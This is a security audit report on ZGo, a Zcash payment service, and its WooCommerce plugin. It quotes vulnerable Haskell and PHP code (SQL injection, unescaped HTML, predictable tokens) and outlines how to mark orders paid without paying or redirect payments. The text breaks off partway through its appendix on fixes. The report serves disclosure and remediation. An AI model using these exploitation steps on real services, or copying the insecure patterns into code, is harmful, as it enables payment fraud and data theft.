Security and Privacy Analysis of ZGo

Taylor Hornby
zecsec@defuse.ca
ZecSec

January 5, 2024
Report Version 1.1
Audit performed in April 2023

Contents

1 Introduction

This report documents the results of an 10-day security audit of ZGo, a point-of-sale and payment processing service for Zcash [5]. The review was performed in late April, 2023.

ZGo allows their customers to easily integrate with Zcash by exposing a web-based payments API. The website and API allow users and developers to accept Zcash without having to write complex code to deal with Zcash internals (such as address parsing and transaction scanning). ZGo also provides a WooCommerce plugin, written in PHP, which uses the API to allow ZGo's customers to accept e-commerce payments.

To implement their API, customers are asked to provide their viewing keys. ZGo loads these viewing keys into a Zcash full node to scan for and process transactions for their customers. ZGo uses a novel authentication mechanism that involves sending a PIN code over the Zcash memo field.

Our review found several high-severity vulnerabilities. These vulnerabilities can be used by attackers to steal funds as users are making payments, to steal ZGo customers' private information (such as viewing keys), to trick customers into thinking they were paid when they were actually not, and to perform SQL injection and cross-site scripting attacks against customers' WooCommerce websites.

Many of these issues stem from a common problem wherein ZGo's API is missing authentication checks and is not enforcing access control. In many cases, attackers can make API calls to retrieve data that should be protected and only accessible to the individual customer that the data pertains to. In addition, some API functions allow attackers to modify data that should only be modifiable by trusted server-side code. This allows users to mark their orders as paid without actually paying, among other things.

All issues rated "Medium"-severity or higher were verified as fixed as of January 5, 2024.

In the next section we describe this audit's scope. In Section 2 we lay out a user-focused threat model for ZGo. In Section 3, we describe the vulnerabilities we found. In Section 4 we make recommendations to improve ZGo's security. Section 5 lists things we like about the ZGo project and its code. Section 6 lists our suggestions for focus areas of future audits, and Section 7 concludes. To assist with addressing the major vulnerabilities, we have provided suggestions for API design improvements in Appendix A.

1.1 Scope

In this audit, we reviewed all of the back-end code for the ZGo website and API server, as well as ZGo's front-end website and the WooCommerce plugins. The commit hashes that we reviewed for each repository are provided below. These were the latest commits at the time of the review.

```
zgo - e3e0b1c48f188ef1d8e058414738155847eb956f - tag:2.0.0
zgo-backend - b2d58ca035314a4611df77452829d9e70562e793 - tag:1.3.0
zgo-notifier - e1513bc7c419e3205b1bd41711cfddff9703c849- tag:0.1.0.0
zcash-haskell - 2b28b9d4b5cf3ac26a8937a62996ab55aee6ba7 - untagged
ZGoPmtGwy - c9b077f2255240054db88b7f647aaee225181866 - 1.0.0-beta.1
ZGoPmtList - 7eb44bbb78267008a878f4adb8768bfb497899c7 - untagged
```

We reviewed all of the code in each of these repositories. Our focus was on finding vulnerabilities that might affect ZGo customers' privacy, make it possible to mark orders as paid without paying, or that might allow for malicious access to the ZGo server or ZGo customers' servers.

We did *not* review any of the dependencies used by the code within these repositories except when it was necessary to confirm that a dependency was being used safely. Security and privacy bugs in the `zcashd` full node software, which is used by ZGo to detect transactions, are considered *out of scope* for this audit. This review also did *not* cover any deployment infrastructure outside of the repositories listed above and did *not* include a focus on penetration testing the live servers.

2 Threat Model

Following Invariant-Centric Threat Modelling [1], we define a simplified threat model for ZGo, its customers, and end-users (ZGo's customers' customers).

The threat model is based on the following participants and scenario. The *ZGo Organization* serves and runs the code in the `zgo` and `zgo-backend` repositories to provide the *ZGo Service* to their customers. *ZGo Customers* write code that uses the ZGo Service's API and use ZGo's provided integration plugins (e.g. for WooCommerce) to accept in-person and e-commerce payments[1]. *End-Users* interact with ZGo Customers, purchasing products and services through ZGo orders.

For each participant type (the ZGo Organization, ZGo Customers, and End-Users), the threat model lists the security and privacy properties that those participants expect to be able to rely on.

ZGo Organization

The ZGo Organization expects that an attacker...

- *CAN* access information that is necessary to share with specific users in the normal course of doing business and processing payments.
- *CANNOT* obtain control over ZGo's servers or deface the ZGo website.
- *CANNOT* steal private data stored in the database, such as viewing keys or customers' personal information.
- *CANNOT* steal or destroy ZGo's own funds.
- *CANNOT* prevent the ZGo service from operating (denial of service).

ZGo Customers

Since ZGo Customers are relying on ZGo to detect and process transactions, they must place some trust in the ZGo Service. In particular, they expect that an attacker who has compromised ZGo's infrastructure...

- *CAN* make falsified payments.
- *CAN* redirect order payments to steal funds.

[1] In the code, ZGo Customers are called "owners."

- *CAN* steal viewing keys and other private information.
- *CAN* modify data such as order items, payment histories, etc.
- *CAN* prevent orders and payments from being processed.
- *CANNOT* break into their own (the customer's) infrastructure.
- *CANNOT* steal funds already received through ZGo payments.

However, ZGo Customers generally expect the ZGo service to be secure, and therefore expect that any attacker...

- *CANNOT* make falsified payments.
- *CANNOT* redirect order payments to steal funds.
- *CANNOT* steal viewing keys and other private information.
- *CANNOT* modify data such as order items, payment histories, etc.
- *CANNOT* prevent orders and payments from being processed.
- *CANNOT* break into their own (the customer's) infrastructure.
- *CANNOT* steal funds already received through ZGo payments.

End-Users

End-Users of ZGo's customers expect that any attacker...

- *CANNOT* steal or redirect their payments.
- *CANNOT* see their transaction details or personal information, unless that information is intentionally shared by ZGo or the ZGo Customer.
- *CANNOT* prevent their legitimate payments from being made.

Note that this threat model is not intended to be complete; it is intended to capture the most important security properties relied on by ZGo's users and to serve as a starting point for a more-detailed threat model.

3 Security & Privacy Findings

This section describes the security and privacy issues that were found during the review.

Each issue has been given a priority rating, determined informally by combining the severity of the issue's impact on users with its likelihood of being exploited in practice.

A "*Critical*" issue is a vulnerability that can definitely be exploited to impact many users with devastating consequences. "*High*" means a vulnerability that is likely to have a severe impact on many users. "*Medium*" means a vulnerability of lesser impact or one that may only be exploitable in special circumstances. "*Low*" means a vulnerability whose exploitation would have very little impact on any user or which is unlikely to ever be exploited in practice.

Critical and *High*-severity issues must be fixed as soon as possible to protect users. *Medium*-severity issues are sometimes safe to defer, and *Low*-severity issues are almost always safe to defer.

Issue A The ZGo API does not enforce access control

The security issues in this section are the result of one common flaw. ZGo's API is protected by HTTP basic authentication, meaning a password is needed to call ZGo's API functions. However, this password is given to the browser of all visitors to `https://app.zgo.cash/` so that the JavaScript code on the website can access the API. As a result, it is easy for anyone to recover the password and call any of ZGo's API functions.

ZGo's API functions also do not implement access control checks, such as to make sure only a given user can access their data and nobody else. The API functions are also overly-permissive in allowing anyone to modify almost any data, e.g. it's possible to update other users' addresses, orders, viewing keys, and more. In some cases, a valid session token is required to call an API, but in most cases, it suffices to know the victim ZGo customer's Zcash address.

The lack of access control checks makes it possible to exploit the ZGo service in several ways, which are described in the sections below. Our recommendations for fixing these issues are given in Appendix A.

As a **short-term mitigation**, users' viewing keys should be immediately removed from the results returned by `/api/owner`, and owners' data should be protected against modification by requiring `POST` requests to `/api/owner` to include a valid session token *for the specific owner being modified*. These changes will prevent users' viewing keys from being leaked and protect against the worst theft-of-funds attack in Issue A.1, but will leave the other vulnerabilities open.

Issue A.1 Stealing funds ZGo users are sending as order payments

Severity: *Critical*

By sending a `POST` request, an attacker can use ZGo's `/api/owner` API function to arbitrarily change any information associated with any ZGo customer (owner):

```
1  post "/api/owner" $ do
2    o <- jsonData
3    let q = payload (o :: Payload Owner)
4    if not (opayconf q)
5      then do
6        _ <- liftAndCatchIO $ run (upsertOwner q)
7        status created201
8    -- ...
```

`upsertOwner` lets the attacker replace all fields stored in the database for the owner, including the owner's address. By finding a store that uses ZGo to accept payments and changing the owner's address to the attacker's own address, the attacker can redirect the stream of payments going to the store to themselves.

By also exploiting Issue B (described below), the attacker can register as a ZGo customer (owner) themselves and then these stolen payments will also mark the original orders as paid, even though the attacker is receiving the money instead of the correct owner.

To fix this, only the authenticated owner should be allowed to change their address.

Issue A.2 Stealing customers' viewing keys and other sensitive information

Severity: *High*

The `/api/owner` API function lets anyone retrieve owner information. Using this API, an attacker can retrieve an owner's sensitive information such as their Zcash viewing key and physical address.

All that's needed to retrieve an owner's information is their Zcash address, which is used to look up the owner:

```
--Get owner by address
get "/api/owner" $ do
  addr <- param "address"
  owner <- liftAndCatchIO $ run (findOwner addr)
  case owner of
    Nothing -> status noContent204
    Just o -> do
      let pOwner = cast' (Doc o)
      case pOwner of
        Nothing -> status internalServerError500
        Just q -> do
          status ok200
          Web.Scotty.json
            (object
               [ "message" .= ("Owner found!" :: String)
               , "owner" .= toJSON (q :: Owner)
               ])
```

The JSON results returned by this API function include all data for the owner that is stored in ZGo's database, *including their viewing key* and physical address:

```
Doc
    [ "_id" =: oid
    , "address" =: a
    , "name" =: n
    , "currency" =: c
    , "tax" =: t
    , "taxValue" =: tV
    , "vat" =: v
    , "vatValue" =: vV
    , "first" =: f
    , "last" =: l
    , "email" =: e
    , "street" =: s
    , "city" =: ct
    , "state" =: st
    , "postal" =: p
    , "phone" =: ph
    , "website" =: w
    , "country" =: co
    , "paid" =: paid
    , "zats" =: zats
    , "invoices" =: inv
    , "expiration" =: ets
    , "payconf" =: pc
    , "viewKey" =: vk
    , "crmToken" =: cT
    ]
```

The `/api/xerotoken` API function also lets an attacker steal ZGo customers' Xero authentication tokens.

To fix this, API functions should only return the information that's necessary for order payment functionality, preferably gated so that the requester needs to either be the authenticated owner or know a valid order ID to retrieve any information at all. The API should never reveal an owner's viewing key or Xero authentication tokens to anyone except for the authenticated owner themselves.

Issue A.3 Methods for paying orders without paying

Severity: *High*

Because of the lack of access control checks in the API, there are three methods an attacker can use to "pay" for their ZGo orders for free:

1. The attacker can update the order to be marked as paid by sending a `POST` request to `/api/order`. Proof-of-concept exploit code is provided in Appendix C.
2. By sending a `POST` request to `/api/owner`, the attacker can change the owner's viewing key to their own. Then, the attacker can pay themselves; ZGo will detect the transaction using the attacker's viewing key and process the payment against the victim's order.
3. Because of the bug in Issue B described below, the attacker need not even change the victim's viewing key, they can register as a ZGo customer themselves and make the order payment to themselves, and it will be processed against the victim's order.

To fix this, order payment status should not be settable through the API at all. Payment status should only be settable by the back-end payment detection code.

Issue A.4 Defacing the ZGo website by modifying the language database

Severity: *High*

Strings on ZGo's website are internationalized by fetching a language database from the ZGo API `/api/getlang`. Instead of hard-coding text into the web pages, strings returned by this API are displayed so that the language's page can be customized based on the user's locale.

Another API function, `/api/setlang` allows the language database to be modified. There are no special authentication checks protecting the API:

```
1  post "/api/setlang" $ do
2    langComp <- jsonData
3    _ <-
4      liftAndCatchIO $
5      mapM (run . loadLangComponent) (langComp :: [LangComponent])
6    status created201
```

As a result, an attacker can call `/api/setlang` to arbitrarily change the language strings. They can change most of the text displayed on the ZGo website to anything they want. This could be used to deface the website or attack users through phishing-style attacks.

To fix this, either the `/api/setlang` function should be removed (and the language database updated through normal server deployment practices) or `/api/setlang` should be protected with a secret key that is known only to the ZGo service operators.

Issue A.5 Accessing, updating, and deleting other data

Severity: *High*

Many other ZGo API functions have no access control checks. As a result, it is possible to...

1. View other customers' order and payment history information using `/api/invdata`, `/api/owner`, `/api/items`, `/api/allorders`, `/api/order/:id`, and `/api/order`.
2. Modify other customers' orders and items using `/api/owner`, `/api/item`, `/api/orderx`, and `/api/order`.
3. Cause a denial of service by deleting crucial data for owners, orders, items, etc.

This is not a complete list of all bad ways an attacker might use the API. Each API function must be evaluated to (a) ensure that attackers cannot access any data that they are are not supposed to be able to access and (b) ensure that attackers cannot modify any data that they are not supposed to be able to modify.

Issue A.6 Getting ZGo service for free

Severity: *Medium*

Each owner in the ZGo database has `paid` (boolean) and `expiration` (date) fields, which determine whether the owner has paid their ZGo subscription fee.

By sending a `POST` request to `/api/owner`, a user can update their `paid` field to true and set their `expiration` field to a date in the future to obtain ZGo service for free. Proof-of-concept code that exploits this bug can be found in Appendix C.

In addition to this issue, there are no checks that a user has paid for ZGo service in the server-side payment processing logic. The ZGo backend will process payments for customers even when they have not paid. All of the checks exist in the client-side JavaScript code, which can be bypassed.

To fix this, update the server-side logic so that the payment-related owner fields can only be updated by trusted server-side code when actual payments are received and change the backend logic so that payments can only be processed for owners who have paid their subscription fees[2].

Issue A.7 APIs do not check users' "validated" state

Severity: *Medium*

When a customer registers for ZGo, they must receive a transaction which includes a PIN code. To have their account marked as "validated", they must enter the PIN code they received into the ZGo website.

[2]This should be done carefully so that service can be restored easily in case an owner accidentally lets their payments lapse.

However, no server-side code actually makes use of the "validated" flag. Customers' validation state is only checked in client-side JavaScript code, which can easily be bypassed.

If the intent of validation is to ensure the customer is the actual owner of the address they provide, issue Issue A.1 must be fixed, and then the customer's address should only be set after they have passed validation. See also the suggestions in Appendix A.

Issue A.8 Stealing ZGo's Xero API token

Severity: *Medium*

Anyone can steal ZGo's Xero API authentication token by calling `/api/xero`. Operations that use Xero should be moved to the backend so that the token does not need to be exposed to ZGo's customers/users.

Issue B Orders can be completed by paying a different ZGo customer

Severity: *High*

ZGo end-users pay for orders by including the order ID in the memo field of the Zcash transaction. A bug exists in ZGo's order processing code that allows users to pay for their order while actually sending the money to *themselves*, i.e. they are able to "pay" for orders for free.

ZGo's code for processing order payment transactions is reproduced below.

```
1  scanPayments :: Config -> Pipe -> IO ()
2  scanPayments config pipe = do
3    shops <- listAddresses (c_nodeUser config) (c_nodePwd config)
4    mapM_ (findPaidOrders config pipe) shops
5    where
6      findPaidOrders :: Config -> Pipe -> ZcashAddress -> IO ()
7      findPaidOrders c p z = do
8        paidTxs <- listTxs (c_nodeUser c) (c_nodePwd c) (addy z) 5
9        case paidTxs of
10         Right txs -> do
11           let r = mkRegex ".*ZGo_Order::([0-9a-fA-F]{24}).*"
12           let k = filter (isRelevant r) txs
13           let j = map (getOrderId r) k
14           mapM_ (recordPayment p (c_dbName config)) j
15           mapM_ (access p master (c_dbName config) . markOrderPaid) j
16         Left e -> print e
```

This code first puts a list of the addresses of all ZGo owners into `shops`. The code then iterates over `shops`, calling `findPaidOrders` on each one. `findPaidOrders` lists all transactions in ZGo's database that pay the owner's Zcash address. For each transaction, the order ID is retrieved from the memo field and the payment amount is checked and the order is marked as paid by calling `markOrderPaid`.

The bug in this code is that nothing checks that the order ID extracted from the memo field belongs to the correct owner for the Zcash address that the payment was sent to. To exploit the bug, an attacker can...

1. Register as a ZGo customer (owner), providing their own address and viewing key.

2. Go to a store that uses ZGo and create an order. Obtain the order ID and amount to pay from the ZGo invoice.
3. Make a payment *to the attacker's own address* rather than the store's, including the correct amount of funds and the correct order ID in the memo field.
4. ZGo's `scanPayments` will find the transaction when it lists the transactions sent to the attacker's address, it will extract the order ID, and mark the order as paid.
5. Now, the order has been marked as paid even though the attacker only paid themselves and the store never received any money.

To fix this, add a function which checks that the extracted order ID belongs to an owner whose address is the currently-scanned address (`z`). Call this function and ignore the transaction if the order ID and address do not match up.

Issue C Cross-Site Scripting vulnerabilities in WooCommerce plugin

Severity: *High*

The following code appears in `ZGoPmtGwy`'s `zpmt-stats-page.php`. Here, `$row` is a row from the WooCommerce website's database, which contains strings provided by the ZGo server and the WooCommerce customer.

```
print '<td><a href="https://dev.zgo.cash/invoice/' . $row->pmt_orderid . '" target="_blank">' . $row->pmt_orderid . "</a></td>";
print "<td>" . $row->pmt_wc_order . "</td>";
print "<td>" . $row->pmt_wc_custname . "</td>";
print '<td style="text-align:center;">'. $row->pmt_accepted . "</td>";
print '<td style="text-align:center;">'.$row->pmt_confirmed ."</td>";
print '<td style="text-align:right;">'. number_format($row->pmt_amount,2) . "</td>";
print '<td style="text-align:right;">'. number_format($row->pmt_rate,2) . "</td>";
print '<td style="text-align:right;">'. number_format($row->pmt_zec,8) . "</td>";
print '<td  style="text-align:center;">'.$row->pmt_wc_paid ."</td></tr>";
```

The `$row->pmt_orderid` data comes from the ZGo server when a payment is completed. Since it is not escaped before being entered into HTML, an attacker who had compromised the ZGo server could carry out a cross-site scripting (XSS) attack against the WooCommerce site's administrator. This could allow the attacker to steal the administrator's session token and gain control of the website.

The WooCommerce customer may also be able to carry out an XSS attack through their choice of name, since the `$row->pmt_wc_custname` data is unescaped.

A similar problem exists in `ZGoPmtList`'s `class-submenu-page.php`:

```
print '<td><a href="https://dev.zgo.cash/invoice/' . $row->pmt_orderid . '" target="_blank">' . $row->pmt_orderid . "</a></td>";
print "<td>" . $row->pmt_wc_order . "</td>";
print "<td>" . $row->pmt_wc_custname . "</td>";
print '<td style="text-align:center;">'. $row->pmt_accepted . "</td>";
print '<td style="text-align:center;">'.$row->pmt_confirmed ."</td>";
print '<td style="text-align:right;">'. number_format($row->pmt_amount,2) . "</td>";
print '<td style="text-align:right;">'. number_format($row->pmt_rate,2) . "</td>";
print '<td style="text-align:right;">'. number_format($row->pmt_zec,8) . "</td>";
print '<td  style="text-align:center;">'.$row->pmt_wc_paid ."</td></tr>";
```

To fix this, escape all of this data before inserting it into the HTML using `htmlentities($data, ENT_QUOTES)`. The same should be done any time data is inserted into HTML.

Data inserted into HTML using Angular JS's {{ ... }} syntax, as is done in the `zgo` repository, is automatically made safe against XSS attacks.

Issue D SQL Injection vulnerabilities in WooCommerce plugin

Severity: *High*

PHP code in the WooCommerce plugin uses SQL statements to read and modify the database state. These statements are built by concatenating SQL strings with data strings, which is vulnerable to SQL injection.

For example, the WooCommerce plugin exposes a publicly-reachable callback at `https://<domain>/wc-api/zpmtcallback`. Requests to that URL are handled by the `zconfirm` function, part of which is reproduced below.

```
1  /**
2  * Confirm payment and complete order
3  */
4  public function zconfirm() {
5      global $wpdb;
6
7      $token = $_GET['token'];
8      $zgoOrderid =  $_GET['orderid'];
9      $orderid = $_GET['wc_orderid'];
10     $totalzec = $_GET['totalzec'];
11     $rate = $_GET['rate'];
12     $order = wc_get_order( $orderid );
13
14     $sql = "select * from zgo_payments where pmt_wc_order = '" . $orderid . "';";
15     $result = $wpdb->get_row($sql,OBJECT);
16     // ...
```

The `$orderid` from the `GET` arguments is concatenated directly with the SQL code string. This allows attackers to inject arbitrary SQL code into the query. This allows attackers to leak the WooCommerce site's database contents and to make arbitrary changes to the database (such as marking orders as paid when they are not).

Several other SQL queries throughout the codebase are constructed by string concatenation and are similarly vulnerable.

To fix this, parameterized queries or prepared statements must be used to supply the data to SQL queries, not string concatenation. This can be done using `$wpdb->prepare()`, see the example at `https://developer.wordpress.org/reference/classes/wpdb/#examples`.

Issue E Paying orders using the WooCommerce plugin's callback

Severity: *High*

Once the SQL injection vulnerabilities in `zpmtcallback`, described in the previous section, have been fixed, the `zpmtcallback` still can be exploited by attackers to mark their WooCommerce orders as paid without actually paying.

The code in the `zconfirm` handler for `zpmtcallback` continues as follows:

```
1  $token = $_GET['token'];
2  $zgoOrderid =  $_GET['orderid'];
3  $orderid = $_GET['wc_orderid'];
4  $totalzec = $_GET['totalzec'];
5  $rate = $_GET['rate'];
6  $order = wc_get_order( $orderid );
7
8  sql = "select * from zgo_payments where pmt_wc_order = '" . $orderid . "';";
9  $result = $wpdb->get_row($sql,OBJECT);
10 if ( ! is_null($result) ) {
11
12     if ( ( $token == $this->zgotoken )
13             && ( $result->pmt_orderid == $zgoOrderid )
14             && ( $result->pmt_wc_paid == '0' ) ) {
15         switch ( $order->get_status() ) {
16             case 'pending':
17             case 'failed':
18                 $order->payment_complete();
19                 $order->reduce_order_stock();
20                 //
21                 //  Mark order as completed in ZGo DB
22                 //
23                 $sql = "update zgo_payments set " .
24                     "pmt_confirmed='" . date('Y-m-d H:i:s') .
25                     "', pmt_rate=" . $rate .
26                     ", pmt_zec=" . $totalzec .
27                     ", pmt_wc_paid=1 " .
28                     " where pmt_wc_order='" . $orderid . "';";
29                 $wpdb->query($sql);
30
31                 update_option('webhook_debug', $_GET);
32                 break;
```

Anyone can call the `zpmtcallback` callback, so in order to mark our order as confirmed we need to know three things. We need the ZGo and WooCommerce order IDs, which are checked on lines 8 and 13. We also need `$this->zgotoken`, which is checked on line 12.

Both the WooCommerce and ZGo order IDs are easily accessible to the user in the course of paying for an order. To get `$this->zgotoken`, we can use one of the following methods.

1. The next section describes how the WooCommerce token is a hash of only the ZGo customer's name and Zcash address. These values are given to the user as they go through the process of paying their order. So, a malicious user can calculate `$this->zgotoken` themselves.
2. The WooCommerce token is also accessible through the `/api/wootoken` ZGo API. To call this API, the attacker needs to know the owner ID. To get the owner ID, they can call the `/api/owner` API with the owner's Zcash address.

By finding the WooCommerce token through either of these methods, a malicious user can call `zpmtcallback` directly to mark their order as paid without actually paying.

To fix this, the WooCommerce token must be treated as a shared secret between the WooCommerce website and ZGo. ZGo's API must never give out any WooCommerce tokens *except to the authenticated owner*. Additionally, the WooCommerce tokens must be generated randomly using a cryptographically-secure PRNG; they must not be a hash of known information.

An additional problem in the code above is that `if ( ( token ==this->zgotoken ) ...` compares the WooCommerce token using the `==` operator. Simple comparison of strings using `==` can take different amounts of time depending on how much of the strings match. This potentially creates a side-channel vulnerability that would allow attackers to leak the WooCommerce token by measuring the precise length of time the query takes to fail. To fix this, compare a hash of the tokens instead:

```
if ( ( hash('sha256', $token) == hash('sha256', $this->zgotoken) ) ...
```

The same should be done for the code on ZGo's side, which uses `==` in Haskell to compare the WooCommerce token:

```
  get "/auth" $ do
    -- ...
        if t == w_token c
          then if isNothing (w_url c)
```

Issue F Predictable WooCommerce plugin authentication tokens

Severity: *Medium*

The tokens used to authenticate requests made between ZGo's server and the WooCommerce plugin are predictable. They are generated by the following code, which generates the token by hashing the ZGo customer's name and Zcash address.

```
generateWooToken :: Owner -> Action IO ()
generateWooToken o =
  case o_id o of
    Just ownerid -> do
      let tokenHash =
            BLK.hash
              [ BA.pack . BS.unpack . C.pack . T.unpack $ oname o <> oaddress o :: BA.Bytes
              ]
      let wooToken =
            val $
            WooToken
              Nothing
              ownerid
              (T.pack . show $ (tokenHash :: BLK.Digest BLK.DEFAULT_DIGEST_LEN))
              Nothing
      case wooToken of
        Doc wT -> insert_ "wootokens" wT
        _ -> error "Couldn't create the WooCommerce token"
    Nothing -> error "Bad owner id"
```

This is insecure, since the ZGo customer's name and Zcash address are public information. This allows attackers to re-compute ZGo customers' WooCommerce tokens easily.

To fix this, generate WooCommerce tokens randomly, using a cryptographically-secure PRNG.

Issue G DoS by forcing the ZGo server to scan many viewing keys

Severity: *Medium*

To use the ZGo service, users provide their viewing keys. ZGo loads all of these viewing keys into a single `zcashd` full node. For each viewing key, `zcashd` must trial-decrypt every new transaction. So, if an attacker can force ZGo to load many viewing keys into `zcashd`, it will cause the service to grind to a halt.

Allowing the import of one viewing key per paid user is not a problem, since the subscription funds can be used by the ZGo operators to scale the service. However, there are two problems.

First, as a legitimate user changes their viewing key, there does not appear to be any code to `remove` their old viewing key from the `zcashd` node. As a result, viewing keys will accumulate and `zcashd` will slow down over time.

Second, an attacker can directly call the `/api/owner` API function to rapidly change their address and viewing key many times. Each time they do so, their new viewing key will be loaded into `zcashd` using `z_importviewingkey`.

```
1  post "/api/owner" $ do
2  o <- jsonData
3  let q = payload (o :: Payload Owner)
4  if not (opayconf q)
5      _ <- liftAndCatchIO $ run (upsertOwner q)
6      status created201
7      else do
8      known <- liftAndCatchIO $ listAddresses nodeUser nodePwd
9      if oaddress q `elem` map addy known
10         then do
11         _ <- liftAndCatchIO $ run (upsertOwner q)
12         status created201
13         else do
14         vkInfo <-
15             makeZcashCall
16             nodeUser
17             nodePwd
18             "z_importviewingkey"
19             [Data.Aeson.String (T.strip (oviewkey q)), "no"]
20     -- ...
```

By doing this repeatedly, the attacker can cause an unlimited number of viewing keys to be imported into `zcashd`, which will prevent ZGo from being able to scan for transactions.

To fix this, the code should be careful to guarantee that there is only ever one (or a small fixed number of) viewing keys imported into `zcashd` for each paying customer. This way, as the number of viewing keys grows, ZGo has the funds to scale the service and maintain good performance.

Issue H Out-of-date and vulnerable NPM dependencies

Severity: *Medium*

The `npm audit report` command finds vulnerabilities in several of the dependencies used in the `zgo` repository. The output is reproduced in Appendix B. Many of these vulnerabilities do not affect ZGo at all, but the dependencies should be updated anyway.

ZGo's CI should be augmented to run `npm audit report` and `npm outdated` so that the developers are notified whenever new dependency updates are published or vulnerabilities in dependencies are discovered.

Issue I Fee changes make draining ZGo's wallet more feasible

Severity: *Low*

To create a ZGo account, users send a Zcash transaction to ZGo's address containing their session token and Zcash address. ZGo then sends back a PIN code to the user's address. Both the user and ZGo must pay a transaction fee to do this.

Upcoming changes to Zcash fees, described in ZIP-317, will make transaction fees more expensive. This will make signing up for ZGo more expensive, and it also potentially makes it easier for attackers to drain ZGo's wallet by registering many times and causing ZGo to send many transactions.

There is no way to prevent this completely, but the risk can be mitigated by only keeping a limited amount of funds on the live server and replenishing them regularly. If a wallet-draining attack ever occurs, it can be defended against by rate-limiting the signup process.

Issue J Overly-permissive `Access-Control-Allow-Origin` header on `zgo.cash`

Severity: *Low*

The `zgo.cash` website sends the header `Access-Control-Allow-Origin: *` in all of its responses. This allows third-party websites to get around the same-origin policy and read the contents of all requests made to `zgo.cash`.

If ZGo used cookie authentication, this would let scripts on third-party websites access private user data. However, since ZGo stores its session tokens in LocalStorage, there is no security risk as a result of this.

To fix this, remove the `Access-Control-Allow-Origin` header from `zgo.cash`; it may be retained on `api.zgo.cash` so that the results of API calls remain accessible to scripts on third-party websites.

4 Recommendations

In this section we make recommendations that will reduce the likelihood of future security bugs and/or make the code easier to audit.

4.1 Develop and publish a threat model

Writing a threat model is a useful exercise for thinking about the ways in which a system like ZGo's might be attacked. Easy-to-understand threat models are also useful for customers and users to understand the security properties of the system. We recommend beginning with the threat model in Section 2, expanding it, and perhaps publishing it alongside ZGo's source code or on the website.

4.2 Add HSTS header, HSTS preloading, and CAA

By including an `HSTS` header in the responses served by `zgo.cash`, users' browsers will remember to only ever connect to `zgo.cash` over a secure connection. HSTS preloading can also be configured

so that browsers will refuse to use plaintext connections to `zgo.cash` even before they have ever interacted with it.

For even stronger protection, Certificate Authority Authorization (CAA) may be configured to lock `zgo.cash`'s TLS certificates to a small set of certificate authorities. This ensures that even if some third-party certificate authority gets hacked, their root certificate key cannot be used to intercept the connections users' browsers make to `zgo.cash`. CAA should *only* be set up if `zgo.cash` can guarantee it is fine to *only* ever use the defined set of certificate authorities. CAA should be set up with great care, since CAA misconfigurations can make the website inaccessible.

4.3 Add CSP policy to ZGo website

On `zgo.cash`, Content-Security Policy (CSP) headers should be configured to reduce the impact of any future cross-site scripting vulnerabilities that may occur.

Mozilla's developer network documentation has a good article explaining CSP:

`https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP`

5 Good Things

5.1 Developer-friendly API

The ZGo project makes it possible to use Zcash without bearing the burden of running a full node or having to write difficult code that uses the Zcash light client libraries. In our view, the difficulty of writing code that interacts with Zcash through the existing libraries is a major blocker of adoption, and ZGo's API in principle solves that problem. Once the vulnerabilities we discovered are fixed, we feel that ZGo will be an important way for projects to begin using Zcash and an important proving-ground for better Zcash APIs and libraries.

5.2 Use of Haskell

The ZGo backend server is written in Haskell. This was the first Haskell project we had the pleasure to audit, and we found that the code was easy to understand (modulo Haskell language features we were seeing for the first time!) and the lack of mutable state (which is typical for functional languages) made the code easier to reason about.

5.3 Internationalization

The ZGo website is written to allow for comprehensive internationalization. All text on the website is provided through a database of strings which can be switched depending on the user's locale. Although this system was the subject of one of the vulnerabilities described above, the fix is easy, and the system allows ZGo to reach a much wider global audience.

6 Future work

6.1 Review access control fixes

The most important item for future work is to review the fixes to the issues caused by lack of API authentication and other bugs which allow for marking orders as paid without paying. We plan to work with the ZGo team to review the fixes as they are being built.

6.2 Infrastructure/deployment practices audit

This review did not include any penetration testing against the live ZGo service. A future audit should review ZGo's infrastructure deployment practices and run a penetration test against the production infrastructure.

7 Conclusion

In conclusion, our review found several high severity issues which, in brief, allow attackers to steal funds in transit, access confidential customer information (like viewing keys), modify data to get free ZGo service, and "pay" orders without actually paying. We also found SQL injection and cross-site scripting vulnerabilities in the WooCommerce plugin and some other errors in the transaction processing logic.

While these issues put users at risk, we have found the ZGo team to be responsive to all security issues that we previously reported and are confident that the vulnerabilities will be fixed quickly and thoroughly.

All issues rated "Medium"-severity or higher were verified as fixed as of January 5, 2024.

Acknowledgements

This security analysis was performed as part of the Zcash Ecosystem Security Grant [3, 4] funded by Zcash Community Grants [2]. Thanks to the Zcash Grants Committee and the broader Zcash community for supporting the security of privacy-enhancing open-source software.

References

[1] Invariant-Centric Threat Modeling.
`https://github.com/defuse/ictm`.

[2] Zcash Community Grants.
`https://zcashcommunitygrants.org`.

[3] Zcash Ecosystem Security Grant.
`https://forum.zcashcommunity.com/t/zcash-ecosystem-security-lead/42090`, .

[4] ZecSec: Zcash Ecosystem Security.
`https://zecsec.com/`, .

[5] ZGo: The Zcash Cash Register.
https://zgo.cash/.

A Access Control Fixes

The root cause of Issue A is that ZGo's API does not enforce access control checks and does not provide fine-grained APIs that run and enforce business logic on the trusted server. Currently, most of the business logic is in client-side JavaScript code which is easily accessed and modified by attackers.

ZGo's API allows attackers to update entire database records arbitrarily. Instead, the API must be changed so that records can only be accessed by people who are authorized to access the data, and so that records can only be changed according to ZGo's business logic. For example, orders should only be marked as paid once the server has verified the payment and viewing keys should only be settable by a customer who has authenticated to their account.

Unfortunately, there is no way to add access control checks and business logic enforcement to the current API without major changes. Below, we sketch an improved API that allows such enforcement.

As a **short-term mitigation**, users' viewing keys should be immediately removed from the results returned by `/api/owner`, and owners' data should be protected against modification by requiring `POST` requests to `/api/owner` to include a valid session token *for the specific owner being modified*. These changes will prevent users' viewing keys from being leaked and protect against the worst theft-of-funds attack in Issue A.1, but will leave the other vulnerabilities open.

User authentication

The user authentication flow should be modified slightly so that sessions are not represented by lone session tokens but (id, key) pairs. This is to prevent side-channel attacks on the database indexing or token comparison from potentially leaking valid session tokens.

We create a new API for starting a login session:

```
NewSession:
    Input:
        - Empty
    Action:
        - Generate a random session id s_id
        - Generate a random session key s_key
        - Store a new record in the database for this session with fields
          authenticated=false and address=""
        - The database record should be keyed on `s_id' and should store
          a *cryptographic hash* of `s_key'
    Return:
        - `s_id' and `s_key'
```

Additional information like session expiration date can also be added to the database record.

Next in the login flow, the JavaScript code can call `/api/getaddr` to get ZGo's shielded address. The user is instructed to send a transaction with a memo containing their `s_id`, their `s_key`, and their reply address.

The server-side code will detect this transaction and send back a random PIN, setting the `address` field of the session to the address from the `Reply-To`.

The JavaScript code will then get the PIN from the user and call a new API for authenticating their session:
